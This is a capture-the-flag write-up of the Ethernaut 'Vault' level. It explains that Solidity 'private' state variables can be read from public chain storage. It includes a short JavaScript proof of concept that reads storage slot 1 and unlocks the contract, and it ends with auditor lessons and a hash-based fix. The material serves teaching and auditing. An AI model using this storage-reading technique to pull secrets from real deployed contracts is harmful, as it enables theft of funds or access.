🔓 Vault - The Myth of Private Data
Challenge Overview
The objective of this level is to unlock the Vault contract.
The Catch: The contract is currently locked, and the only way to unlock it is by calling unlock() with the correct bytes32 password. However, the password is declared with the private modifier, meaning there are no getter functions to read it directly from the interface.
Technical Analysis
Vulnerability: Public Readability of Private State Variables
The Vault contract attempts to secure a password using the private keyword:
contract Vault { bool public locked; bytes32 private password;
constructor(bytes32 _password) { locked = true; password = _password; }
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }}The Root Cause
A critical security misunderstanding in blockchain development is the distinction between visibility and privacy:
privateandinternalmodifiers: These only restrict read access for other smart contracts at runtime. They prevent a contract from compiling a call to read that variable.- Public Blockchain State: Every transaction, contract creation, and storage slot is recorded on a completely transparent, public ledger. Anyone running an Ethereum node or using a web3 provider can inspect any storage slot of any contract address at zero cost.
Storage Layout Layout Analysis
Solidity storage is organized into sequential 32-byte slots (0-indexed):
- Slot 0:
bool public locked(uses 1 byte, padded with zeros). - Slot 1:
bytes32 private password(uses the full 32 bytes).
Knowing this layout, we can use the RPC call eth_getStorageAt to read the raw bytes of slot 1 directly.
The Exploit: The Multi-Step Solution
- Read the Storage Slot: Use a web3 provider or console command to call
web3.eth.getStorageAt(contractAddress, 1). - Submit the Password: Call the
unlock()function, passing the retrievedbytes32password as the parameter. - Verify Status: Verify that the
lockedvariable has transitioned tofalse.
Proof of Concept (PoC)
Below is the JavaScript console commands to execute in the Ethernaut console:
// 1. Read slot 1 (where the private password is stored)const passwordHex = await web3.eth.getStorageAt(contract.address, 1);console.log("Found password:", passwordHex);
// 2. Submit the password to unlock the contractawait contract.unlock(passwordHex);
// Verify that the vault is unlockedconst isLocked = await contract.locked();console.log("Is locked?", isLocked);Auditor’s Lessons
- Zero On-Chain Privacy: Assume all variables (even those marked
private) are completely visible to the public. Never store plain-text passwords, API keys, private keys, or proprietary secrets on-chain. - Understand Storage Packaging: Be aware of how the Solidity compiler packs variables into 32-byte slots to correctly locate slot offsets during audits and debugging.
- Off-Chain Cryptography: If your application requires secret parameters or hidden commitments (like a rock-paper-scissors game), use off-chain commit-reveal schemes where users submit hashes first and only reveal plain-text parameters later.
Remediation
Remove any plain-text secrets. If a verification secret is necessary, store a cryptographic hash of the secret instead of the raw secret itself. The verification can then be performed by hashing the user’s input:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract SecureVault { bool public locked; bytes32 public passwordHash; // Publicly visible hash
constructor(bytes32 _passwordHash) { locked = true; passwordHash = _passwordHash; }
// Users submit the plain-text password, and we check if the hash matches function unlock(string calldata _password) external { if (keccak256(abi.encodePacked(_password)) == passwordHash) { locked = false; } }}